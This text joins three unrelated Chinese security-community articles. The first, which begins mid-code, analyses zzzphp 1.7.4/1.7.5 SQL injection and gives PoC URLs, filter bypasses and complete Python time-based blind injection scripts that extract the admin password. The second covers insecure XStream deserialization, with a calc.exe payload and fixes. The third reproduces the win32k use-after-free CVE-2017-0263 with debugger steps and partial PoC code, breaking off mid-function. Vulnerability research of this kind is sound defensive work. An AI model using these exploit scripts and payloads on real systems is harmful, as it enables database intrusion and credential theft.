return $q;
}
} elseif ( in_array( $q, $arr3 ) ) {
if ( ifnum( $p ) ) {
$GLOBALS[ 'cid' ] = $p;
return 'content';
} else {
$p = sub_left( $p, '=' );
$cid = sub_left( $p, '&' );
if ( $cid > 0 ) {
$GLOBALS[ 'cid' ] = $cid;
return 'content';
} else if ( !empty( $p ) ) {
if ( db_count( "content", "c_pagename='" . $p . "'" ) > 0 ) {
$data = db_load_one( "content", "c_pagename='" . $p . "'", "cid,c_sid" );
$GLOBALS[ 'sid' ] = $data[ 'c_sid' ];
$GLOBALS[ 'cid' ] = $data[ 'cid' ];
$GLOBALS[ 'cname' ] = $p;
return 'content';
}
} else {
return false;
}
}
} else {
return FALSE;
}
}
代码也很长，很难看。echo $q发现就是url中的news，直接进入到最后的elseif ( in_array( $q, $arr3 ) )
$p就是url中news/后的一堆东西，然后先$p = sub_left( $p, '=' )，再$cid = sub_left( $p, '&' )
然后，然后一定要注意了，cid的值直接要影响注入的触发位置了
如果$cid > 0成立，直接设置好$GLOBALS[ 'cid' ] = $cid，然后return 'content'
如果$cid > 0不成立，进行下一个判断：db_count( "content", "c_pagename='" . $p . "'" ) > 0
，这个地方应该也可以直接触发sql注入的，本人没有测试，，有兴趣的读者可以继续跟一下
我测的是$cid >
0成立的情况，这个条件很容易满足，利用php的弱类型即可满足，如访问127.0.0.1/zzzphp/?news/7abcd即可，此时cid为7abcd，能满足大于0的。
捋一下流程，其实很简单：
先是$location=getlocation()
getlocation()调用了checklocation，checklocation设置了$GLOBALS[ 'cid' ] = $cid
再走到下一行
ParseGlobal(G('sid'),G('cid'));
这是G就是个函数，从G('cid')就是$GLOBALS[ 'cid' ] ，想知道的可以追下这个G
追踪函数ParseGlobal，在inc/zzz_db.php的996行，996……
很明显了，直接在1000行触发注入
可以仔细仔细观察getlocation，发现没有像后台那么严格，毕竟没有调用danger_key函数，斜线/好像也是可以用的，但是这些我都没考虑，还是直接用后台注入的那个套路来的
准备构造好sql语句了，源sql语句为：
select _from zzz_sort where sid=(select c_sid from zzz_content where cid=$cid)
$cid可控，但要数字开头，不能有空格，等于号，斜线不知道可不可以有（实在抱歉，，当时没注意这些，现在写这文章的时候才注意到，但是我目前的版本为1.7.5了，1.7.4的也有，但是没安装，所以就没法echo输出查看了，可以自己测试一下，但是1.7.5版本的是可以的）
这里我就假装限制和后台的注入一样严格吧…………
当时一直不知道什么东西代替开头的数字与sleep之间的空格，还一直想着sleep前面要and or啥的
后来瞎整了好久，发现了直接+sleep就好使了……然后又发现小于sleep()或大于sleep()等等都可以，具体见图：
select _ from zzz_sort where sid=(select c_sid from zzz_content where
cid=7+sleep(0.01));
select _from zzz_sort where sid=(select c_sid from zzz_content where
cid=7-sleep(0.03));
select _ from zzz_sort where sid=(select c_sid from zzz_content where
cid=7小于sleep(0.03));
select * from zzz_sort where sid=(select c_sid from zzz_content where
cid=7>sleep(0.03))
原因我也不知道，有没有师傅给解释一下直接大于sleep小于sleep为啥会延时，这个时间与什么有关系
那么前台注入的poc就很容易了：
127.0.0.1/zzzphp/?news/7>sleep(0.03)
获取管理员（uid为1）的password的exp:
import urllib.request
import time
#获取管理员密码，已知长度是16
#空格被过滤,发现sleep()前面可以用>或<或<>，原因不知道
#我这边测试注入语句:select * from zzz_sort where sid=(select c_sid from zzz_content where cid=7>sleep(0.03))
#Empty set (2.67 sec),为什么2.67s不知道。cid的值直接影响sleep的参数，如果数据库里没有对应的cid，测试sleep(0.1)即可，2.9s左右返回
#但数据库里没有对应的cid，网站响应302，会到下面代码里的except里去，还得处理302，算了，麻烦
#等于号被过滤，用小于吧，从0递增，设置timeout为1，请求失败的上一个即为该字符
result = []
for i in range (1,17):
for j in range(47,122):
url = "http://127.0.0.1/zzzphp/?news/7>sleep(0.03*(ord(mid((select(password)from([dbpre]user)where+uid<2),"+str(i)+",1))<"+str(j)+"))"
try:
request = urllib.request.Request(url=url)
response = urllib.request.urlopen(request,timeout=1)
except:
print("第"+str(i)+"位："+chr(j-1))
result.append(chr(j-1))
time.sleep(2)
break
print(''.join(result))
然后我随便在前台点开一个链接，什么news，about啥的，在url后加>sleep(0.1)，都会延时，注入问题应该都差不多，没仔细去看
4. **zzzphp1.7.5后台sql注入**
位置依旧和1.7.4相同，我大概看了下，好像是danger_key函数发生了改变
function danger_key($s,$type='') {
$s=empty($type) ? htmlspecialchars($s) : $s;
$danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep');
$s = str_ireplace($danger,"*",$s);
$key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
foreach ($key as $val){
if(strpos($s,$val) !==false){
error('很抱歉，执行出错，发现危险字符【'.$val.'】');
}
}
return $s;
}
他先给你htmlspecialchars了，这是1.7.4没有的，，htmlspecialchars了，就不能用大于小于了，单引号没影响
然后多过滤了几个关键字，create,func,symlink,sleep，少过滤了下划线_
不能用大于小于，我就用like(114)或in(113)这种形式吧，也不需要空格，sleep不能用，就BENCHMARK吧
在数据库测试好合适的sql语句：
select _,b.sid,b.s_type from zzz_content a,zzz_sort b where b.sid=a.c_sid and
cid=(BENCHMARK(35000000_ (ord(mid(user(),1,1))like(114)),hex(233333)));
算了，直接整password吧
select _,b.sid,b.s_type from zzz_content a,zzz_sort b where b.sid=a.c_sid and
cid=(BENCHMARK(35000000_
(ord(mid((select(password)from(zzz_user)where(uid)in(1)),1,1))like(52)),hex(233333)));
访问127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(BENCHMARK(35000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),1,1))like(52)),hex(233333)))
如果管理员（uid为1）的password的第一个字母的ascii为52，即可成功延时
获取password的exp：
import urllib.request
import time
headers = {
"Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1576050340; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=lfdciobk45189ih79fhg9uiff6",
}
result = []
for i in range (1,17):
for j in range(47,122):#暂考虑数字字母，没考虑其他字符
url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(BENCHMARK(35000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),"+str(i)+",1))like("+str(j)+")),hex(233333)))"
try:
request = urllib.request.Request(url=url,headers=headers)
response = urllib.request.urlopen(request,timeout=1)
except:
print("第"+str(i)+"位："+chr(j))
result.append(chr(j))
time.sleep(2)
break
print(result)
5. **zzzphp1.7.5前台sql注入**
与1.7.4相比，getlocation函数多了一行：
$url = danger_key(str_replace(conf('siteext'),'',$_SERVER[ 'REQUEST_URI' ]));
1.7.4是：$url = $_SERVER[ 'REQUEST_URI' ];
也就是说，给你多调用了一个danger_key函数
感觉没什么用，不能出现大于小于等于还有sleep
空格的话，这里可以用注释符了，但是也没什么用，毕竟已经有不用空格的方法
我反而觉得1.7.4前台的注入是最简单的了，没有过滤啊，就是不能出现空格而已……我好像把他分析复杂了
还是拿这个url：127.0.0.1/zzzphp/?news/7
数据库构造好语句：
select _from zzz_sort where sid=(select c_sid from zzz_content where
cid=7+BENCHMARK(7000000_
(ord(mid((select(password)from(zzz_user)where(uid)in(1)),1,1))like(52)),hex(233333)));
poc：
127.0.0.1/zzzphp/?news/7+BENCHMARK(7000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),1,1))like(52)),hex(233333))
exp：
import urllib.request
import time
result = []
for i in range (1,17):
for j in range(47,122):#暂考虑数字字母，没考虑其他字符
url = "http://127.0.0.1/zzzphp/?news/7+BENCHMARK(7000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),"+str(i)+",1))like("+str(j)+")),hex(233333))"
try:
request = urllib.request.Request(url=url)
response = urllib.request.urlopen(request,timeout=1)
except:
print("第"+str(i)+"位："+chr(j))
result.append(chr(j))
time.sleep(2)
break
print(''.join(result))
6. **结束**
1.python写exp时，建议自带的request库，requests模块会自动进行一次url编码，就是说，我在1.7.4版本里，用的大于号小于号，他会给我整成%3E%3C，当时迷茫了很久，延时一直不成功，burp里就可以，用wireshark抓包才发现
2.脚本没考虑网络延迟等问题
3.zzzphp1.7.4版本在网上不太好搜，上传附件了，1.7.5在zzzcms官网下载即可
4.平时根本不写文章，也不会用这个编辑器，这编辑器实在不得劲，自己变颜色，调格式，大于小于星号井号都会变格式，直接回车加个空行也会变格式……所以排版啥的，嘿嘿嘿
5.文章中写的不好的地方，不清楚的地方，反而写复杂的地方，望各位师傅见谅，有啥疑问交流即可，欢迎各位师傅加我微信交流。要是有师傅给讲下大于小于sleep是个啥情况，或者有师傅讲讲这两个版本如何用dnslog的方式出数据，那就再好不过了。微信：c3l4MTI3MTkyMDAwMQ==
7. **下集预告**
sdcms1.9前台sql注入。目前应该是最新版的了
我印象中是个通用的问题，当时就找了一个地方，没仔细看，不知道其他地方还有没有。等有空分析分析发出来吧 | 社区文章 |
# 【缺陷周话】第38期：不安全的反序列化：XStream
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、不安全的反序列化：XStream
通常客户端向服务端发送XML格式请求的数据时，在服务端对数据处理时并不是直接对数据进行处理，而是将XML转换成程序中可操作的对象。在转换时需要用到XStream，XStream可以将对象序列化成XML或将XML反序列化为对象。在使用XStream进行反序列化时，如果程序中没有校验用户输入就进行反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化产生非预期的对象，非预期的对象在创建过程中可能会引发任意代码执行等问题。本文以JAVA语言源代码为例，分析“不安全的反序列化：XStream”漏洞产生的原因以及修复方法。详见
CWE ID 502: Deserialization of Untrusted Data
(http://cwe.mitre.org/data/definitions/502.html）。
## 2、不安全的反序列化：XStream
攻击者可使用“不安全的反序列化：XStream”漏洞，通过修改序列化之后的数据字段，进行提权、越权操作或者替换缓存服务器中的数据，恶意修改服务器数据，严重的可导致远程代码执行问题。
从2019年1月至2019年6月，CVE中共有38条漏洞信息与其相关。部分漏洞如下：
CVE | 概述
---|---
CVE-2019-7091 | ColdFusion版本Update 1，Update 7，Update
15对不受信任的数据进行了反序列化。成功利用可能导致任意代码执行。
CVE-2019-4279 | IBM WebSphereApplication Server
8.5和9.0可能允许远程攻击者使用来自不受信任来源的特制序列化对象在系统上执行任意代码。
CVE-2019-10912 |
Symfony在2.8.50，3.4.26之前的3.x，4.1.12之前的4.x和4.2.7之前的4.2.x，可以缓存可能包含错误用户输入的对象。在序列化或反序列化时，这可能导致删除当前用户有权访问的文件。
## 3、示例代码
示例源于 WebGoat-8.0.0.M25
(https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)，源文件名：VulnerableComponentsLesson.java。
### 3.1 缺陷代码
上述示例代码是获取到用户输入的 XML 数据并将该数据反序列化为对象，在第54行获取用户输入的 XML 字符串 payload，第57行使用 dom
解析器来构造 XStream 对象 xstream，第58行使用 Contact 类加载器作为 XStream 的类加载器，第60行将
Contact.class配置给 XStream，XStream 可以识别 Contact 类的注解。在第87行调用 fromXML 方法将 XML 字符串
payload 反序列化为 Contact 类的对象 expl。
当以下 XML 文档传入 fromXML 中，将执行 ProcessBuilder 对象实例化，并调用 start()方法从而运行 Windows 计算器。
<contact> <dynamic-proxy> <interface>org.company.model.Contact</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> </target> <action>start</action> <handler> </dynamic-proxy></contact>
使用代码卫士对上述示例代码进行检测，可以检出“不安全的反序列化：XStream”缺陷，显示等级为高。在代码行第87行报出缺陷如图1所示：
图1：”不安全的反序列化: XStream” 检测示例
### 3.2 修复代码
在上述修复代码中，在第61行调用 allowTypeHierarchy 方法为反序列化类 Contact 添加安全权限避免不安全的反序列化。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“不安全的反序列化：XStream”缺陷。如图2所示：
图2：修复后检测结果
## 4、如何避免不安全的反序列化：XStream
(1) 采用白名单策略，只允许白名单上的对象生成，不允许生成未经定义的对象。
(2) 对序列化对象执行完整性检查和加密处理，防止被恶意篡改和创建恶意对象。
(3) 反序列化过程之前执行严格的类型限制。 | 社区文章 |
cve-2017-0263是一个win32k的UAF漏洞，我在参考了小刀师傅的文章之后进行了复现分析。因为小刀师傅珠玉在前，所以我的文章只是一个粗劣的模仿+踩坑记录，如果你觉得哪里不明白的话可以移步小刀师傅的文章，你应该会被师傅的知识的广度和条理性所折服。
传送门：[小刀师傅的博客](https://xiaodaozhi.com/)
# 配置漏洞触发环境
[+] win7 x86 sp1
[+] windbg preview 1.0.2001.02001
# BSOD分析
## 基本信息收集
将poc放入虚拟机之后运行，windbg断下来之后我们用`！analyze -v`查看漏洞类型。
`fe8733e8`这块幸运内存被释放了两次，成功造成了Double Free。接着再看看调用关系
问题就发生在这里，`nt!ExFreePoolWithTag`函数释放了一块已经释放过的内存，往上追溯看一下它的调用者`win32k!MNFreePopup`函数。
比较关键的地方是这俩，程序将唯一的参数直接传递给了`nt!ExFreePoolWithTag`，他也是个工具人，继续往上追溯到`win32k!xxxMNEndMenuState`，该函数用来清理菜单状态结构体，其中就包括调用`win32k!MNFreePopup`函数来释放弹出菜单对象和窗口对象。我们看一下windows
2000中对应的代码
// 为了方便观看，我省略了部分内容。
void xxxMNEndMenuState (BOOL fFreePopup)
{
PTHREADINFO ptiCurrent = PtiCurrent();
PMENUSTATE pMenuState;
pMenuState = ptiCurrent->pMenuState;
if (pMenuState->pGlobalPopupMenu != NULL) {
if (fFreePopup) {
MNFreePopup(pMenuState->pGlobalPopupMenu);
} else {
pMenuState->pGlobalPopupMenu->fDelayedFree = FALSE;
}
}
UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea);
ptiCurrent->pMenuState = pMenuState->pmnsPrev;
}
函数首先从当前线程信息`tagTHREADINFO`中获得`pMenuState`成员域指向的菜单状态结构体对象，接着判断`pMenuState`的`pGlobalPopupMenu`成员是否为空，不为空的话将其传递给`MNFreePopup`函数进行释放，`pGlobalPopupMenu`成员指向弹出菜单结构体`tagPOPMENU`对象。
但是注意后三行，虽然`pMenuState`成员域会被重置，连带着`pMenuState`的`pGlobalPopupMenu`成员也会完蛋，似乎是没什么利用的可能，但就在重置`pMenuState`之前，函数会对`pMenuState->uButtonDownHitArea`和`pMenuState->uDraggingHitArea`解锁和释放，如果我们可以构造特殊的菜单窗口对象，就可以让执行流回到用户进程中，在利用代码中我们可以为所欲为，我们可以对尚存的悬挂指针`pGlobalPopupMenu`成员再次进行释放，就可以导致BSOD的发生了。
## 第一次释放
为了追踪这两次释放，我们需要在`xxxMNEndMenuState`函数释放`pGlobalPopupMenu`成员的位置下断点：
ba e1 win32k!xxxMNEndMenuState+0x31 "r eax;.if((@eax & 0x0`ffffffff)==0xfe8733e8){}.else{.echo continue;g}"
这个断点有一个需要注意的地方，那就是为什么要将条件设置为eax &
0x0`ffffffff，他本来不就是32位的寄存器吗？这个地方还困了我挺久的，我之前一直断不下来，可以看看微软自己家的文档怎么说：
> MASM 表达式计算器补符号位的高等于一寄存器。 当 **eax** 具有值 0xC0004321，将被视为 0xFFFFFFFF`C0004321
> 中计算-即使 **eax** 仍将显示为 0xC0004321。 但是，数字 **0xc0004321**
> 是带符号扩展在内核模式下，但不是在用户模式下。 因此前, 一个命令将无法正常工作在用户模式下。 如果掩码的高位 **eax** ，该命令将在内核模式下-> 正常工作，但现在它将在用户模式下失败
下了断点之后开始运行，程序断下来之后看一下堆栈
`xxxMNEndMenuState`函数的调用者是`win32k!xxxMenuWindowProc`函数，该函数专门对Menu窗口的消息做出响应，当ring3代码调用SendMessage->NtUserMessageCall发送消息给Menu窗口，或者ring0调用xxxSendMessage发送消息给Menu窗口时，都会通过FNID函数封装后最终调用到该函数。
这里我们反汇编一下，看看`win32k!xxxMenuWindowProc`函数在收到什么消息的时候会调用`xxxMNEndMenuState`函数：
不难看出，当`win32k!xxxMenuWindowProc`函数收到未被文档化的MN_ENDMENU(0x1F3)消息且Menu为非模态（mode
less）时，就会调用`xxxMNEndMenuState`函数来销毁`MenuState`。你可能会以为我们直接在用户进程中来一句SendMessage（）就可以销毁`MenuState`，但是弹出菜单的机制有点不太一样，接下来分析一下弹出菜单从诞生到销毁的大致流程。
在用户进程中，我们通过调用
`TrackPopupMenuEx`函数来展示菜单，`TrackPopupMenuEx`函数又会调用`win32k!xxxTrackPopupMenuEx`函数，此函数会做以下几件事：
1. 通过`xxxCreateWindowEx`函数为弹出菜单对象创建了一个类型为`#32768`的窗口对象，在`tagWND`的末尾拓展区域存放了一个`tagPOPUPMENU`结构，并对`tagPOPUPMENU`进行初始化。
2. 调用 `xxxMNAllocMenuState`函数初始化菜单状态结构体的各个成员域，并将tagPOPMENU对象作为当前的根弹出菜单对象，其指针放置在pGlobalPopmenu中。
3. 接下来函数调用 `xxxSetWindowPos` 函数以设置目标菜单层叠窗口在屏幕中的位置并将其显示在屏幕中。在函数 `xxxSetWindowPos` 执行期间，相关窗口位置和状态已完成改变之后，系统在函数 `xxxEndDeferWindowPosEx` 中调用 `xxxSendChangedMsgs` 以发送窗口位置已改变的消息。在函数 `xxxSendChangedMsgs` 中，系统根据设置的 `SWP_SHOWWINDOW` 状态标志，为当前的目标菜单层叠窗口对象创建并添加关联的阴影窗口对象。两个窗口对象的关联关系在函数 `xxxAddShadow` 中被添加到 `gpshadowFirst` 阴影窗口关联表中。
4. 调用 `xxxWindowEvent` 函数以发送代表“菜单弹出开始”的 `EVENT_SYSTEM_MENUPOPUPSTART` 事件通知。如果先前在用户进程中设置了包含这种类型时间通知范围的窗口事件通知处理函数，那么系统将在线程信息循环处理期间分发调用这些通知处理函数。
5. 接下来菜单被选择或取消，退出循环并销毁PopupMenu、Menu窗口对象和MenuState结构(xxxxxEndMenuLoop、xxxMNEndMenuState等)。
这个函数管的太多了，在我们的视角下就是只调了这一个API就已经把事情做完了，好像根本没有给我们和弹出菜单说句话的机会，也不会返回指向弹出菜单对象的指针，在内部就直接销毁了。你应该已经看到了，第4步说的很清晰了，如果我们可以注册处理`EVENT_SYSTEM_MENUPOPUPSTART`
事件的hook，就可以为所欲为了。我们可以直接调用`SetWinEventHook`函数来注册针对于`EVENT_SYSTEM_MENUPOPUPSTART`
事件的hook，这样我们就可以给他发送MN_ENDMENU(0x1F3)消息来销毁窗口。
现在这个堆栈的源头就很清晰了，虽然说poc我们有符号文件，但哪怕没有符号文件，我们依旧可以推断出这个函数就是针对于`EVENT_SYSTEM_MENUPOPUPSTART`
事件的hook函数，该函数发送了MN_ENDMENU(0x1F3)消息来对内存块`fe8733e8`进行了第一次释放。
## 第二次释放
接着运行程序就可以来到下一处断点，也就是我们的第二次释放
和奔溃时的堆栈相比就知道，这次尚未发生的释放就是凶手，继续执行下去会导致BSOD的发生。如果你还记得前面分析过的`xxxMNEndMenuState`函数的功能的话，那你应该还记得我们的操作空间仅限如下
UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea);
我们看一下`UnlockMFMWFPWindow`函数的实现
#define Unlock(ppobj) HMAssignmentUnlock((PVOID *)ppobj)
void UnlockMFMWFPWindow (PULONG_PTR puHitArea)
{
if (IsMFMWFPWindow(*puHitArea)) {
Unlock(puHitArea);
} else {
*puHitArea = MFMWFP_OFFMENU;
}
}
该函数对目标进行校验之后就调用`HMAssignmentUnlock`函数来对目标解锁，`HMAssignmentUnlock`函数清除赋值锁的过程会减小对象的锁计数，在锁计数减小为0时调用`HMUnlockObjectInternal`销毁对象，销毁时调用win32k!ghati对应表项的销毁例程，并最终调用`win32kfull!xxxDestroyWindow`对窗口对象进行释放。
而uButtonDownHitArea成员保存着当前鼠标按下的坐标区域所属的窗口对象地址，当系统对其解锁并销毁的时候，会同时消除与该对象关联的阴影窗口对象（关于阴影窗口何时被创建，请回顾前面对`TrackPopupMenuEx`函数的分析）。但是阴影窗口对象没有属于自己的窗口消息处理函数，所以我们如果将窗口对象的消息处理函数修改为我们自定义的消息处理函数，就可以再一次的取得控制权，第二次释放也就是在此时发生的，这一点可以从堆栈中看出。
至此，我们基本完成了对BSOD的分析，可以得到以下情报：
[+] win32k!xxxMNEndMenuState函数在释放根弹出菜单对象时，没有及时将该成员置零，导致出现了一个可以被利用的悬挂指针，可以造成UAF。
[+] poc中的第一次释放是正常释放，收到未被文档化的MN_ENDMENU(0x1F3)消息且Menu为非模态（mode less）时，就会调用xxxMNEndMenuState函数来调用MNFreePopup(pMenuState->pGlobalPopupMenu)。
[+] poc中的第二次释放是通过阴影窗口对象的机制，在调用hook了的消息处理函数时触发的win32k!xxxMNEndMenuState。
# poc分析
## 准备工作
LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
// MIM_STYLE 表明要设置 dwStyle 这个标志位
mi.fMask = MIM_STYLE;
// autodismiss 鼠标移到菜单窗口外面一会儿窗口会自动消失
// modeless 非模态
// dragdrop 拖放窗口
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
HMENU hpopupMenu[2] = { 0 };
// 用 CreatePopupMenu 创建的菜单是空的，后面用 AppendMenu 来添加 items
hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
调用`CreatePopupMenu`函数创建两个非模态的可弹出菜单对象，参考MSDN的解释
> Creates a drop-down menu, submenu, or shortcut menu. The menu is initially
> empty. You can insert or append menu items by using the
> [InsertMenuItem](https://docs.microsoft.com/en-> us/windows/desktop/api/winuser/nf-winuser-insertmenuitema) function. You can
> also use the [InsertMenu](https://docs.microsoft.com/en-> us/windows/desktop/api/winuser/nf-winuser-insertmenua) function to insert
> menu items and the [AppendMenu](https://docs.microsoft.com/en-> us/windows/desktop/menurc/u) function to append menu items.
该函数创建带有`MFISPOPUP`标志位的tagMENU对象，而不是tagPOPUPMENU对象。tagPOPUPMENU用来描述菜单对象实体的弹出状态的对象，在菜单对象实际弹出时创建、菜单对象结束弹出状态时销毁。
因为这两个对象创建之初是空的，所以我们继续调用`AppendMenuA`函数添加菜单项，并且使得第二个菜单成为第一个菜单的子菜单。
## 设置hook
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
HWND hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0, // x
0, // y
1, // width
1, // height
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
创建一个普通的窗口对象作为后续菜单弹出时弹出菜单的拥有者窗口对象。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
调用`SetWindowsHookExW`函数创建类型为WH_CALLWNDPROC关联当前线程的hook程序，这是因为在`xxxTrackPopupMenuEx`函数中，系统在调用对象指定的消息处理程序之前，还会调用
xxxCallHook 函数用来调用先前由用户进程设定的 WH_CALLWNDPROC
类型的挂钩处理程序，所以如果我们设置这种类型的挂钩会在每次线程将消息发送给窗口对象之前调用。
接着通过`SetWinEventHook`函数创建包含EVENT_SYSTEM_MENUPOPUPSTART的关联当前进程和线程的事件通知消息处理程序。至于为什么是EVENT_SYSTEM_MENUPOPUPSTART，可以回顾前面对于第一次释放的分析。
## 第一次释放
TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);
调用`TrackPopupMenuEx`函数将我们创建的第一个可弹出菜单对象作为跟菜单在对象中弹出。
调用`TrackPopupMenuEx`函数会调用`win32k!xxxTrackPopupMenuEx`函数，首先通过`xxxCreateWindowEx`函数为弹出菜单对象创建了一个类型为`#32768`的窗口对象，如果创建成功的话就会发送WM_NCCREATE消息。在处理消息之前，会调用我们刚刚设置的WH_CALLWNDPROC
类型的挂钩处理程序，即`xxWindowHookProc函数`。
// 弹出窗口和阴影窗口创建时都会调用到这个函数
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam;
if (cwp->message != WM_NCCREATE)
{
return CallNextHookEx(0, code, wParam, lParam);
}
WCHAR szTemp[0x20] = { 0 };
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768"))
{
hwndMenuHit = cwp->hwnd;
}
// 第一次释放只需要用到上述部分，其余部分后面会补充的
return CallNextHookEx(0, code, wParam, lParam);
}
首先判断当前处理的消息是否为WM_NCCREATE消息，不是的话就直接返回。接着再判断类名称是否为#32768，是的话表示这就是`TrackPopupMenuEx`函数创建的菜单窗口对象，将其句柄保存起来。
static UINT iMenuCreated = 0;
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (++iMenuCreated >= 2)
{
// 向子菜单发送 MN_ENDMENU 以关闭整个菜单
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (++iMenuCreated >= 2)
{
// 向子菜单发送 MN_ENDMENU 以关闭整个菜单
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
// 在 32 位系统中，参数 lParam 是一个 DWORD 类型的数值，其高低 16 位分别代表横坐标和纵坐标的相对位置，传入的数值需要确保相对坐标位于先前创建菜单时设定的子菜单项的位置。参数 wParam 设定用户按下的是左键还是右键，设置为 1 表示 MK_LBUTTON 左键。
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}
在内核函数`xxxTrackPopupMenuEx`中处理完成对根弹出菜单窗口对象的创建时，系统调用`xxxWindowEvent`函数以发送代表“菜单弹出开始”的
EVENT_SYSTEM_MENUPOPUPSTART
事件通知。这将进入我们先前设置的自定义事件通知处理函数`xxWindowEventProc`中。每当进入该事件通知处理程序时，代表当前新的弹出菜单已显示在屏幕中。iMenuCreated用来计数，第一次进入`xxWindowEventProc`函数的时候，表示根弹出菜单已经在屏幕中显示，直接调用
`SendMessage`函数向参数句柄hwnd指向的菜单窗口对象发送WM_LBUTTONDOWN鼠标左键按下的消息，并在参数lParam传入按下的相对坐标。当消息处理函数
`xxxMenuWindowProc`
接收到该消息时，会调用`xxxMNOpenHierarchy`函数创建新的子菜单的相关对象，在这里完成新的子菜单在屏幕中的显示时，函数
`xxxMNOpenHierarchy` 调用函数 `xxxWindowEvent` 发送 EVENT_SYSTEM_MENUPOPUPSTART
事件通知。这使得执行流再次进入自定义事件通知处理函数 `xxWindowEventProc`
中。第二次进入此函数时，表示弹出的子菜单已经显示了，此时发送MN_ENDMENU消息来销毁窗口，导致执行`xxxEndMenuState`函数，从而执行第一次释放，即`MNFreePopup(pMenuState->pGlobalPopupMenu)`。
至于为什么要设置WM_LBUTTONDOWN，是因为我们接下来要利用uButtonDownHitArea成员域，该成员域存储着当前鼠标按下的区域所属的窗口对象地址，当鼠标按键抬起时系统解锁并置零该成员域。因此，为了让他存储合法的窗口对象的地址，我们需要发送WM_LBUTTONDOWN鼠标左键按下的消息。
## 第二次释放
在我们对BSOD分析的时候就知道了，第二次释放是利用了阴影窗口的机制，在释放uButtonDownHitArea会同时消除与该对象关联的阴影窗口对象，因为他并没有属于自己的窗口消息处理函数，所以我们如果将窗口对象的消息处理函数修改为我们自定义的消息处理函数，就可以再一次的取得控制权。但是目前为止我们只完成了第一次释放，在释放uButtonDownHitArea的时候并不能达成我们的目的，因为我们还没有构建阴影窗口和hook消息处理函数，这两个步骤都需要我们在`xxWindowHookProc`函数中进行操作，也就是刚刚分析`xxWindowHookProc`函数时省略的内容，现在放出完整版本的函数：
static UINT iShadowCount = 0;
// 弹出窗口和阴影窗口创建时都会调用到这个函数
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam;
if (cwp->message != WM_NCCREATE)
{
return CallNextHookEx(0, code, wParam, lParam);
}
WCHAR szTemp[0x20] = { 0 };
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768"))
{
hwndMenuHit = cwp->hwnd;
}
// 前面已经分析过了，这里着重看后面的部分
if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
{
iShadowCount++;
if (iShadowCount == 3)
{
// cwp -> hwnd : 第三个阴影窗口
// GWL_WNDPROC : 设置一个新的消息处理函数
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
}
else
